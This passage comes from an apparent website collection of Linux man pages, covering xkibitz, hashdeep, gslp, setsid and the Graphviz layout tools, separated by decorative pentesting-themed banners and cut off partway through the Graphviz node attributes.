➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xkibitz and provides detailed information about the command xkibitz, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xkibitz.

NAME 🖥️ xkibitz 🖥️

allow multiple people to interact in an xterm

SYNOPSIS

xkibitz [ xkibitz-args ] [ program program-args… ]

INTRODUCTION

xkibitz allows users in separate xterms to share one shell (or any program that runs in an xterm). Uses include:

·
A novice user can ask an expert user for help. Using xkibitz, the expert can see what the user is doing, and offer advice or show how to do it right.

·
By running xkibitz and then starting a full-screen editor, people may carry out a conversation, retaining the ability to scroll backwards, save the entire conversation, or even edit it while in progress.

·
People can team up on games, document editing, or other cooperative tasks where each person has strengths and weaknesses that complement one another.

·
If you want to have a large number of people do an on-line code walk-through, you can sit two in front of each workstation, and then connect them all together while you everyone looks at code together in the editor.

USAGE

To start xkibitz, one user (the master) runs xkibitz with no arguments.

xkibitz starts a new shell (or another program, if given on the command line). The user can interact normally with the shell, or upon entering an escape (described when xkibitz starts) can add users to the interaction.

To add users, enter “+ display” where display is the X display name. If there is no “:X.Y” in the display name, “:0.0” is assumed. The master user must have permission to access each display. Each display is assigned a tag - a small integer which can be used to reference the display.

To show the current tags and displays, enter “=”.

To drop a display, enter “- tag” where tag is the display’s tag according to the “=” command.

To return to the shared shell, enter “return”. Then the keystrokes of all users become the input of the shell. Similarly, all users receive the output from the shell.

To terminate xkibitz it suffices to terminate the shell itself. For example, if any user types ^D (and the shell accepts this to be EOF), the shell terminates followed by xkibitz.

Normally, all characters are passed uninterpreted. However, in the escape dialogue the user talks directly to the xkibitz interpreter. Any Expect(1) or Tcl(3) commands may also be given. Also, job control may be used while in the interpreter, to, for example, suspend or restart xkibitz.

Various processes can produce various effects. For example, you can emulate a multi-way write(1) session with the command:

xkibitz sleep 1000000

ARGUMENTS

xkibitz understands a few special arguments which should appear before the program name (if given). Each argument should be separated by whitespace. If the arguments themselves takes arguments, these should also be separated by whitespace.

-escape sets the escape character. The default escape character is ^].

-display adds a display much like the “+” command. Multiple -display flags can be given. For example, to start up xkibitz with three additional displays:

xkibitz -display mercury -display fox -display dragon:1.0

CAVEATS

Due to limitations in both X and UNIX, resize propagation is weak.

When the master user resizes the xterm, all the other xterms are logically resized. Unfortunately, xkibitz cannot force the physical xterm size to correspond with the logical xterm sizes.

The other users are free to resize their xterm but their sizes are not propagated. The master can check the logical sizes with the “=” command.

Deducing the window size is a non-portable operation. The code is known to work for recent versions of SunOS, AIX, Unicos, and HPUX. Send back mods if you add support for anything else.

ENVIRONMENT

The environment variable SHELL is used to determine and start a shell, if no other program is given on the command line.

If the environment variable DISPLAY is defined, its value is used for the display name of the xkibitz master (the display with tag number 0). Otherwise this name remains empty.

Additional arguments may be passed to new xterms through the environment variable XKIBITZ_XTERM_ARGS. For example, to create xterms with a scrollbar and a green pointer cursor:

	XKIBITZ_XTERM_ARGS="-sb -ms green"
	export XKIBITZ_XTERM_ARGS

(this is for the Bourne shell - use whatever syntax is appropriate for your favorite shell). Any option can be given that is valid for the xterm command, with the exception of -display, -geometry and -S as those are set by xkibitz.

SEE ALSO

Tcl(3), libexpect(3) kibitz(1)
“Exploring Expect: A Tcl-Based Toolkit for Automating Interactive Programs” by Don Libes, O’Reilly and Associates, January 1995.
“kibitz - Connecting Multiple Interactive Programs Together”, by Don Libes, Software - Practice & Experience, John Wiley & Sons, West Sussex, England, Vol. 23, No. 5, May, 1993.

AUTHOR

Don Libes, National Institute of Standards and Technology

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

96 - Linux cli command hashdeep

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command hashdeep and provides detailed information about the command hashdeep, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the hashdeep.

NAME 🖥️ hashdeep 🖥️

Compute, compare, or audit multiple message digests

SYNOPSIS

hashdeep -V | -h
hashdeep [-c <alg1>[,<alg2>]] [-k <file>] [-i <size>] [-f <file>] [-o <fbcplsde>] [-amxwMXreEspblvv] [-F<bum>] [-j <num>] [FILES]

DESCRIPTION

Computes multiple hashes, or message digests, for any number of files while optionally recursively digging through the directory structure. By default the program computes MD5 and SHA-256 hashes, equivalent to -c md5,sha256. Can also take a list of known hashes and display the filenames of input files whose hashes either do or do not match any of the known hashes. Can also use a list of known hashes to audit a set of FILES. Errors are reported to standard error. If no FILES are specified, reads from standard input.

-c <alg1>[,<alg2>…]
Computation mode. Compute hashes of FILES using the algorithms specified. Legal values are md5, sha1, sha256, tiger, and whirlpool.

-k
Load a file of known hashes. This flag is required when using any of the matching or audit modes (i.e. -m, -x, -M, -X, or -a) This flag may be used more than once to add multiple sets of known hashes.

Loading sets with different hash algorithms can sometimes generate spurrious hash collisions. For example, let’s say we have two hash sets, A and B, which have some overlapping files. For example, the file /usr/bin/bad is in both sets. In A we’ve recorded the MD5 and SHA-256. In B we’ve recorded the MD5, SHA-1, and SHA-256. Because these two records are different, they will both be loaded. When the program computes all three hashes and compares them to the set of knowns, we will get an exact match from the record in B and a collision from the record in A.

-a
Audit mode. Each input file is compared against the set of knowns. An audit is said to pass if each input file is matched against exactly one file in set of knowns. Any collisions, new files, or missing files will make the audit fail. Using this flag alone produces a message, either “Audit passed” or “Audit Failed”. Use the verbose modes, -v, for more details. Using -v prints the number of files in each category. Using -v a second time prints any discrepancies. Using -v a third time prints the results for every file examined and every known file.
Due to limitations in the program, any filenames with Unicode characters will appear to have moved during an audit. See the section “UNICODE SUPPORT” below.

-m
Positive matching, requires at least one use of the -k flag. The input files are examined one at a time, and only those files that match the list of known hashes are output. The only acceptable format for known hashes is the output of previous hashdeep runs.
If standard input is used with the -m flag, displays “stdin” if the input matches one of the hashes in the list of known hashes. If the hash does not match, the program displays no output.
This flag may not be used in conjunction with the -x, -X, or -a flags. See the section “UNICODE SUPPORT” below.

-x
Negative matching. Same as the -m flag above, but does negative matching. That is, only those files NOT in the list of known hashes are displayed.
This flag may not be used in conjunction with the -m, -M, or -a flags. See the section “UNICODE SUPPORT” below.

-f <file>
Takes a list of files to be hashed from the specified file. Each line is assumed to be a filename. This flag can only be used once per invocation. If it’s used a second time, the second instance will clobber the first.
Note that you can still use other flags, such as the -m or -x modes, and submit additional FILES on the command line.

-w
When used with positive matching modes (-m,-M) displays the filename of the known hash that matched the input file. See the section “UNICODE SUPPORT” below.

-M and -X
Same as -m and -x above, but displays the hash for each file that does (or does not) match the list of known hashes.

-r
Enables recursive mode. All subdirectories are traversed. Please note that recursive mode cannot be used to examine all files of a given file extension. For example, calling hashdeep -r *.txt will examine all files in directories that end in .txt.

-e
Displays a progress indicator and estimate of time remaining for each file being processed. Time estimates for files larger than 4GB are not available on Windows. This mode may not be used with th -p mode.

-E
When in audit mode, performs case insensitive matching of filenames. For example, ooar will match to \Foo\BAR. This can be important on Windows systems, where filenames are case insensitive.

-i <size>
Size threshold mode. Only hash files smaller than the given the threshold. Sizes may be specified using IEC multipliers b,k,m,g,t,p, and e.

-o <bcpflsd>
Enables expert mode. Allows the user specify which (and only which) types of files are processed. Directory processing is still controlled with the -r flag. The expert mode options allowed are:
f - Regular files
b - Block Devices
c - Character Devices
p - Named Pipes
l - Symbolic Links
s - Sockets
d - Solaris Doors
e - Windows PE executables

-s
Enables silent mode. All error messages are suppressed.

-p
Piecewise mode. Breaks files into chunks before hashing. Chunks may be specified using IEC multipliers b,k,m,g,t,p, and e. (Never let it be said that the author didn’t plan ahead.)

-b
Enables bare mode. Strips any leading directory information from displayed filenames. This flag may not be used in conjunction with the -l flag.

-l
Enables relative file paths. Instead of printing the absolute path for each file, displays the relative file path as indicated on the command line. This flag may not be used in conjunction with the -b flag.

-v
Enables verbose mode. Use again to make the program more verbose. This mostly changes the behavior of the audit mode, -a.

-jnn
Controls multi-threading. By default the program will create one producer thread to scan the file system and one hashing thread per CPU core. Multi-threading causes output filenames to be in non-deterministic order, as files that take longer to hash will be delayed while they are hashed. If a deterministic order is required, specify -j0 to disable multi-threading

-d
Output in Digital Forensics XML (DFXML) format.

-u
Quote Unicode output. For example, the snowman is shown as U+C426.

-F<bum>
Specifies the input mode that is used to read files. The default is -Fb (buffered I/O) which reads files with fopen(). Specifying -Fu will use unbuffered I/O and read the file with open(). Specifying -Fm will use memory-mapped I/O which will be faster on some platforms, but which (currently) will not work with files that produce I/O errors.

-h
Show a help screen and exit.

-V
Show the version number and exit.

UNICODE SUPPORT

As of version 3.0 the program supports Unicode characters in filenames on Microsoft Windows systems for filenames specified on the command line with globbing (e.g. *), for files specified with the -f of files to hash, and for files read from directories using the -r option.

By default all program input and output should be in UTF-8. The program automatically converts this to UTF-16 for opening files).

On Unix/Linux/MacOS, you should use a terminal emulator that supports UTF-8 and UTF-8 characters in filenames will be properly displayed.

On Windows, the programs do not display Unicode characters on the console. You must either redirect output to a file and open the file with Wordpad (which can display Unicode), or you must specify the -u option to quote Unicode using standard U+XXXX notation.

Currently the file name of a file containing known hashes may not be specified as a Unicode filename, but you can specify the name using tab completion or an asterisk (e.g. md5deep -m *.txt where there is only one file with a .txt extension).

RETURN VALUE

Returns a bit-wise value based on the success of the operation and the status of any matching operations.

0
Success. Note that the program considers itself successful even when it encounters read errors, permission denied errors, or finds directories when not in recursive mode.

1
Unused hashes. Under any of the matching modes, returns this value if one or more of the known hashes was not matched by any of the input files.

2
Unmatched inputs. Under any of the matching modes, returns this value if one or more of the input values did not match any of the known hashes.

64
User error, such as trying to do both positive and negative matching at the same time.

128
Internal error, such as memory corruption or uncaught cycle. All internal errors should be reported to the developer! See the section “Reporting Bugs” below.

AUTHOR

hashdeep was written by Jesse Kornblum, [email protected], and Simson Garfinkel.

KNOWN ISSUES

Using the -r flag cannot be used to recursively process all files of a given extension in a directory. This is a feature, not a bug. If you need to do this, use the find(1) command.

The program will fail if you attempt to compare 2^64 or more input files against a set of known files.

REPORTING BUGS

We take all bug reports very seriously. Any bug that jeopardizes the forensic integrity of this program could have serious consequences on people’s lives. When submitting a bug report, please include a description of the problem, how you found it, and your contact information.

Send bug reports to the author at the address above.

COPYRIGHT

This program is a work of the US Government. In accordance with 17 USC 105, copyright protection is not available for any work of the US Government. This program is PUBLIC DOMAIN. Portions of this program contain code that is licensed under the terms of the General Public License (GPL). Those portions retain their original copyright and license. See the file COPYING for more details.

There is NO warranty for this program; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

SEE ALSO

More information and installation instructions can be found in the README file. Current versions of both documents can be found on the project homepage: http://md5deep.sourceforge.net/

The MD5 specification, RFC 1321, is available at
http://www.ietf.org/rfc/rfc1321.txt

The SHA-1 specification, RFC 3174, is available at
http://www.faqs.org/rfcs/rfc3174.html

The SHA-256 specification, FIPS 180-2, is available at
http://csrc.nist.gov/publications/fips/fips180-2/fips180-2.pdf

The Tiger specification is available at
http://www.cs.technion.ac.il/~biham/Reports/Tiger/

The Whirlpool specification is available at
http://planeta.terra.com.br/informatica/paulobarreto/WhirlpoolPage.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

97 - Linux cli command gslp

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command gslp and provides detailed information about the command gslp, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the gslp.

NAME 🖥️ gslp 🖥️

Format and print text using ghostscript
gsbj - Format and print text for BubbleJet printer using ghostscript
gsdj - Format and print text for DeskJet printer using ghostscript
gsdj500 - Format and print text for DeskJet 500 BubbleJet using ghostscript
gslj - Format and print text for LaserJet printer using ghostscript

SYNOPSIS

gslp -12BclqRr -b<header> -f<font> -F<hfont> -L<lines> -p<outfile> -T<n> –add-to-space <units> –add-to-width <units> –columns <n> –detect –first-page <n> –kern <file.afm> –last-page <n> –(heading|footing)-(left|center|right) <string> –margin-(top|bottom|left|right) <inches> –no-eject-(file|formfeed) –spacing <n> [gs options] [files]

gsbj [options] [files]
gsdj [options] [files]
gsdj500 [options] [files]
gslj [options] [files]

DESCRIPTION

This utility provides functionality approximately equivalent to the Unix enscript(1) program. It prints plain text files using a single font. It currently handles tabs and formfeeds, but not backspaces. It will line-wrap when using fixed-pitch fonts. It will also do kerning and width adjustment.

The default device (-sDEVICE=) and resolution (-r) are as follows:

      gslp      epson      180
      gsbj      bj10e      180
      gsdj      deskjet    300
      gsdj500   djet500    300
      gslj      laserjet   300

By default the current date is formatted as the center header.

OPTIONS

Standard switches implemented:
-12BclqRr -b<header> -f<font> -F<hfont> -L<lines> -p<outfile>

Sun switches implemented:
-T<n> set tab width

Switches ignored:
-GghKkmow -# -C -d -J -n -P -S -s -t -v

Switches added:

–add-to-space <units>
add the given number of 1/72" units to the width of each space (may be negative)

–add-to-width <units>
add the given number of 1/72" units to the width of each character (may be negative)

–columns <n>
print in <n> columns

–detect
treat the file as PostScript if it starts with %!

–first-page <n>
start printing at page <n>

–kern <file.afm>
kern using information from the given .AFM file

–last-page <n>
stop printing after page <n>

–(heading|footing)-(left|center|right) <string>
set the heading/footing fields; use -B first to clear

–margin-(top|bottom|left|right) <inches>
set a margin

–no-eject-(file|formfeed)
end-of-file/FF only starts a new column, not a new sheet

–spacing <n>
use double (n=2), triple (n=3), etc. spacing

Also, the string %# in a heading or footing is replaced with the page #.

SEE ALSO

gs(1)

VERSION

This document was last revised for Ghostscript version 10.03.1.

AUTHOR

Artifex Software, Inc. are the primary maintainers of Ghostscript. This manpage by George Ferguson.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

98 - Linux cli command setsid

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command setsid and provides detailed information about the command setsid, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the setsid.

NAME 🖥️ setsid 🖥️

run a program in a new session

SYNOPSIS

setsid [options] program [arguments]

DESCRIPTION

setsid runs a program in a new session. The command calls fork(2) if already a process group leader. Otherwise, it executes a program in the current process. This default behavior is possible to override by the –fork option.

OPTIONS

-c, –ctty

Set the controlling terminal to the current one.

-f, –fork

Always create a new process.

-w, –wait

Wait for the execution of the program to end, and return the exit status of this program as the exit status of setsid.

-V, –version

Display version information and exit.

-h, –help

Display help text and exit.

AUTHORS

SEE ALSO

setsid(2)

REPORTING BUGS

For bug reports, use the issue tracker at <https://github.com/util-linux/util-linux/issues>.

AVAILABILITY

The setsid command is part of the util-linux package which can be downloaded from Linux Kernel Archive <https://www.kernel.org/pub/linux/utils/util-linux/>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

99 - Linux cli command sfdp

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sfdp and provides detailed information about the command sfdp, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sfdp.

NAME 🖥️ sfdp 🖥️

filter for drawing directed graphs
neato - filter for drawing undirected graphs
twopi - filter for radial layouts of graphs
circo - filter for circular layout of graphs
fdp - filter for drawing undirected graphs
sfdp - filter for drawing large undirected graphs
patchwork - filter for squarified tree maps
osage - filter for array-based layouts

SYNOPSIS

dot [options] [files]
neato [options] [files]
twopi [options] [files]
circo [options] [files]
fdp [options] [files]
sfdp [options] [files]
patchwork [options] [files]
osage [options] [files]

DESCRIPTION

These are a collection of programs for drawing graphs. There is actually only one main program; the specific layout algorithms are implemented as plugins. Thus, they largely share all of the same command-line options.

dot draws directed graphs. It works well on directed acyclic graphs and other graphs that can be drawn as hierarchies or have a natural ``flow.''

neato draws undirected graphs using a ``spring’’ model and reducing the related energy (see Kamada and Kawai, Information Processing Letters 31:1, April 1989).

twopi draws graphs using a radial layout (see G. Wills, Symposium on Graph Drawing GD'97, September, 1997). Basically, one node is chosen as the center and put at the origin. The remaining nodes are placed on a sequence of concentric circles centered about the origin, each a fixed radial distance from the previous circle. All nodes distance 1 from the center are placed on the first circle; all nodes distance 1 from a node on the first circle are placed on the second circle; and so forth.

circo draws graphs using a circular layout (see Six and Tollis, GD ‘99 and ALENEX ‘99, and Kaufmann and Wiese, GD ‘02.) The tool identifies biconnected components and draws the nodes of the component on a circle. The block‐cutpoint tree is then laid out using a recursive radial algorithm. Edge crossings within a circle are minimized by placing as many edges on the circle’s perimeter as possible. In particular, if the component is outerplanar, the component will have a planar layout. If a node belongs to multiple non‐trivial biconnected components, the layout puts the node in one of them. By default, this is the first non‐trivial component found in the search from the root component.

fdp draws undirected graphs using a ``spring’’ model. It relies on a force‐directed approach in the spirit of Fruchterman and Reingold (cf. Software‐Practice & Experience 21(11), 1991, pp. 1129‐1164).

sfdp also draws undirected graphs using the ``spring’’ model described above, but it uses a multi-scale approach to produce layouts of large graphs in a reasonably short time.

patchwork draws the graph as a squarified treemap (see M. Bruls et al., ``Squarified treemaps’’, Proc. Joint Eurographics and IEEE TCVG Symp. on Visualization, 2000, pp. 33-42). The clusters of the graph are used to specify the tree.

osage draws the graph using its cluster structure. For a given cluster, each of its subclusters is laid out internally. Then the subclusters, plus any remaining nodes, are repositioned based on the cluster’s pack and packmode attributes.

OUTPUT FORMATS

Graphviz uses an extensible plugin mechanism for its output renderers, so to see what output formats your installation of dot supports you can use ``dot -T:’’ and check the warning message. Also, The plugin mechanism supports multiple implementations of the output formats, allowing variations in the renderers and formatters. To see what variants are available for a particular output format, use, for example: ``dot -Tpng:’’ and to force a particular variant, use, for example: ``dot -Tpng:gd’’

Traditionally, Graphviz supports the following:
-Tdot (Dot format containing layout information),
-Txdot (Dot format containing complete layout information),
-Tps (PostScript),
-Tpdf (PDF),
-Tsvg -Tsvgz (Structured Vector Graphics),
-Tfig (XFIG graphics),
-Tpng (png bitmap graphics),
-Tgif (gif bitmap graphics),
-Tjpg -Tjpeg (jpeg bitmap graphics),
-Tjson (xdot information encoded in JSON),
-Timap (imagemap files for httpd servers for each node or edge that has a non‐null href attribute.),
-Tcmapx (client‐side imagemap for use in html and xhtml).
Additional less common or more special‐purpose output formats can be found at //http://www.graphviz.org/content/output-formats.

Alternative plugins providing support for a given output format can be found from the error message resulting from appending a ‘:’ to the format. e.g. -Tpng: The first plugin listed is always the default.

The -P switch can be used to produce a graph of all output variants supported by plugins in the local installation of graphviz.

GRAPH FILE LANGUAGE

Here is a synopsis of the graph file language, normally using the extension .gv, for graphs:

[strict] (graph|digraph) name { statement‐list }
is the top‐level graph. If the graph is strict, then multiple edges are not allowed between the same pairs of nodes. If it is a directed graph, indicated by digraph, then the edgeop must be “->”. If it is an undirected graph then the edgeop must be “–”.

Statements may be:

name**=val;**
node [name=val];
edge [name=val];
Set default graph, node, or edge attribute name to val. Any subgraph, node, or edge appearing after this inherits the new default attributes.

n0 [name0=val0,name1=val1,…];
Creates node n0 (if it does not already exist) and sets its attributes according to the optional list.

n0 edgeop n1 edgeop edgeop nn [name0=val0,name1=val1,…];
Creates edges between nodes n0, n1, …, nn and sets their attributes according to the optional list. Creates nodes as necessary.

[subgraph name] { statement‐list }
Creates a subgraph. Subgraphs may be used in place of n0, …, nn in the above statements to create edges. [subgraph name] is optional; if missing, the subgraph is assigned an internal name.

The language accepts both C‐style comments /*C…*/ or //…

Attribute names and values are ordinary (C‐style) strings. The following sections describe attributes that control graph layout.

A more complete description of the language can be found at http://www.graphviz.org/content/dot-language.

GRAPH, NODE AND EDGE ATTRIBUTES

Graphviz uses the name=value attributes, attached to graphs, subgraphs, nodes and edges, to tailor the layout and rendering. We list the more prominent attributes below. The complete list is available at http://www.graphviz.org/content/attrs.

Attributes Common to Nodes, Edges, Clusters and Graphs

**href=**url the default url for image map files; in PostScript files, the base URL for all relative URLs, as recognized by Acrobat Distiller 3.0 and up.

**URL=**url (``URL’’ is a synonym for ``href.’’)

**fontcolor=**colorvalue sets the label text color.

A colorvalue may be “h,s,v**”** (hue, saturation, brightness) floating point numbers between 0 and 1, or an X11 color name such as white, black, red, green, blue, yellow, magenta, or cyan, or a “#rrggbb” (red, green, blue, 2 hex characters each) value. See http://www.graphviz.org/content/attrs#kcolor and http://www.graphviz.org/content/color-names for further details.

**fontsize=**n sets the label type size to n points.

**fontname=**name sets the label font family name.

**label=**text where text may include escaped newlines \n, \l, or \r for center, left, and right justified lines. The string ‘\G’ value will be replaced by the graph name. For node labels, the string ‘\N’ value will be replaced by the node name. For edges, if the substring ‘\T’ is found in a label, it will be replaced by the name of the tail node; if the substring ‘\H’ is found in a label, it will be replaced by the name of the head node; if the substring ‘’ value is found in a label it will be replaced by: tail_node_name->head_node_name or by: tail_node_namehead_node_name for undirected graphs.

Graphviz also supports special HTML-like labels for constructing complex node content. A full‐description of these is given at http://www.graphviz.org/content/node-shapes#html.

If a node has shape=record, the label may contain recursive box lists delimited by { | }. Port identifiers in labels are set off by angle brackets < >.

Graph Attributes

size="x,y" specifies the maximum bounding box of drawing in inches.

**ratio=**f sets the aspect ratio to f which may be a floating point number, or one of the keywords fill, compress, or auto.

**layout=**engine indicates the preferred layout engine (dot, neato, fdp, etc.) overriding the default from the basename of the command or the -K commandline option.

**margin=**f sets the page margin (included in the page size).

ordering=out constrains order of out‐edges in a subgraph according to their file sequence.

rotate=90 sets landscape mode. (orientation=land is backward compatible but obsolete.)

**center=**n a non‐zero value centers the drawing on the page.

**color=**colorvalue sets foreground color (bgcolor for background).

**overlap=**mode. This specifies what algorithm should do if any nodes overlap. If mode is false, the program uses the Prism algorithm to adjust the nodes to eliminate overlaps. If mode is scale, the layout is uniformly scaled up, preserving node sizes, until nodes no longer overlap. The latter technique removes overlaps while preserving symmetry and structure, while the former removes overlaps more compactly but destroys symmetries. If mode is true (the default), no repositioning is done. Since the dot algorithm always produces a layout with no node overlaps, this attribute is only useful with other layouts.

stylesheet=“file.css” includes a reference to a stylesheet in -Tsvg and -Tsvgz outputs. Ignored by other formats.

splines If set to true, edges are drawn as splines. If set to polyline, edges are drawn as polylines. If set to ortho, edges are drawn as orthogonal polylines. In all of these cases, the nodes must not overlap. If splines=false or splines=line, edges are drawn as line segments. The default is true for dot, and false for all other layouts.

(dot‐specific attributes)

**nodesep=**f sets the minimum separation between nodes.

**ranksep=**f sets the minimum separation between ranks.

rankdir=LR|RL|BT requests a left‐to‐right, right‐to‐left, or bottom‐to‐top, drawing.

rank=same (or min or max) in a subgraph constrains the rank assignment of its nodes. If a subgraph’s name has the prefix cluster, its nodes are drawn in a distinct rectangle of the layout. Clusters may be nested.

(neato‐specific attributes)
**mode=**val. Algorithm for minimizing energy in the layout. By default, neato uses stress majorization. If mode=KK, it uses a version of gradient descent.

**model=**val. The neato model computes the desired distances between all pairs of vertices. By default, it uses the length of the shortest path. If model is set to circuit, a circuit-resistance model is used. If model is set to subset, it uses a model whereby the edge length is the number of nodes that are neighbors of exactly one of the edge’s vertices.

**start=**val. Requests random initial placement and seeds the random number generator. If val is not an integer, the process ID or current time is used as the seed.

**epsilon=**n. Sets the cutoff for the solver. The default is 0.1.

(twopi‐specific attributes)
**root=**ctr. This specifies the node to be used as the center of the layout. If not specified, twopi will randomly pick one of the nodes that are furthest from a leaf node, where a leaf node is a node of degree 1. If no leaf nodes exists, an arbitrary node is picked as center.

**ranksep=**val. Specifies the radial distance in inches between the sequence of rings. The default is 0.75.

(circo‐specific attributes)
**root=**nodename. Specifies the name of a node occurring in the root block. If the graph is disconnected, the root node attribute can be used to specify additional root blocks.

**mindist=**value. Sets the minimum separation between all nodes. If not specified then circo uses a default value of 1.0.

(fdp‐specific attributes)
**K=**val. Sets the default ideal node separation in the layout.

**maxiter=**val. Sets the maximum number of iterations used to layout the graph.

**start=**val. Adjusts the random initial placement of nodes with no specified position. If val is is an integer, it is used as the seed for the random number generator. If val is not an integer, a random system‐generated integer, such as the process ID or current time, is used as the seed.

Node Attributes

**height=**d or **width=**d sets minimum height or width. Adding fixedsize=true forces these to be the actual size (text labels are ignored).

**shape=**builtin_polygon record epsf
builtin_polygon can be such values as plaintext, ellipse, oval, circle, egg, triangle, box, diamond, trapezium, parallelogram, house, hexagon, octagon, note, tab, box3d, or component,, among others. (Polygons are defined or modified by the following node attributes: regular, peripheries, sides, orientation, distortion and skew.) epsf uses the node’s shapefile attribute as the path name of an external EPSF file to be automatically loaded for the node shape.

See http://www.graphviz.org/content/node-shapes for a complete description of node shapes.

**color=**colorvalue sets the outline color, and the default fill color if style=filled and fillcolor is not specified.

**fillcolor=**colorvalue sets the fill color when style=filled. If not specified, the fillcolor when style=filled defaults to be the same as the outline color.

style=filled solid dashed dotted bold invis

xlabel=“text” specifies a label that will be place near, but outside, of a node. The normal label string is placed within the node shape.

target=“target” is a target string for client‐side imagemaps and SVG, effective when nodes have a URL. The target string is used to determine which window of the browser is used for the URL. Setting it to “_graphviz” will open a new window if it doesn’t already exist, or reuse it if it does. If the target string is empty, the default, then no target attribute is included in the output. The substrings ‘\N’ and ‘\G’ are substituted in the same manner as for the node label attribute. Additionally the substring ‘\L’ is substituted with the node label string.

tooltip=“text” is a tooltip string for client‐side imagemaps and SVG, effective when nodes have a URL. The tooltip string defaults to be the same as the label string, but this attribute permits nodes without labels to still have tooltips thus permitting denser graphs. The substrings ‘\N’ and ‘\G’ are substituted in the same manner as for the node label attribute. Additionally the substring ‘\L’ is substituted with the node label string.

The following attributes apply only to polygon shape nodes:

**regular=**n if n is non‐zero then the polygon is made regular, i.e. symmetric about the x and y axis, otherwise the polygon takes on the aspect ratio of the label. builtin_polygons that are not already regular are made regular by this attribute. builtin_polygons that are already regular are not affected (i.e. they cannot be made asymmetric).

**peripheries=**n sets the number of periphery lines drawn around the polygon. This value supersedes the number of periphery lines of builtin_polygons.

**sides=**n sets the number of sides to the polygon. n<3 results in an ellipse. This attribute is ignored by builtin_polygons.

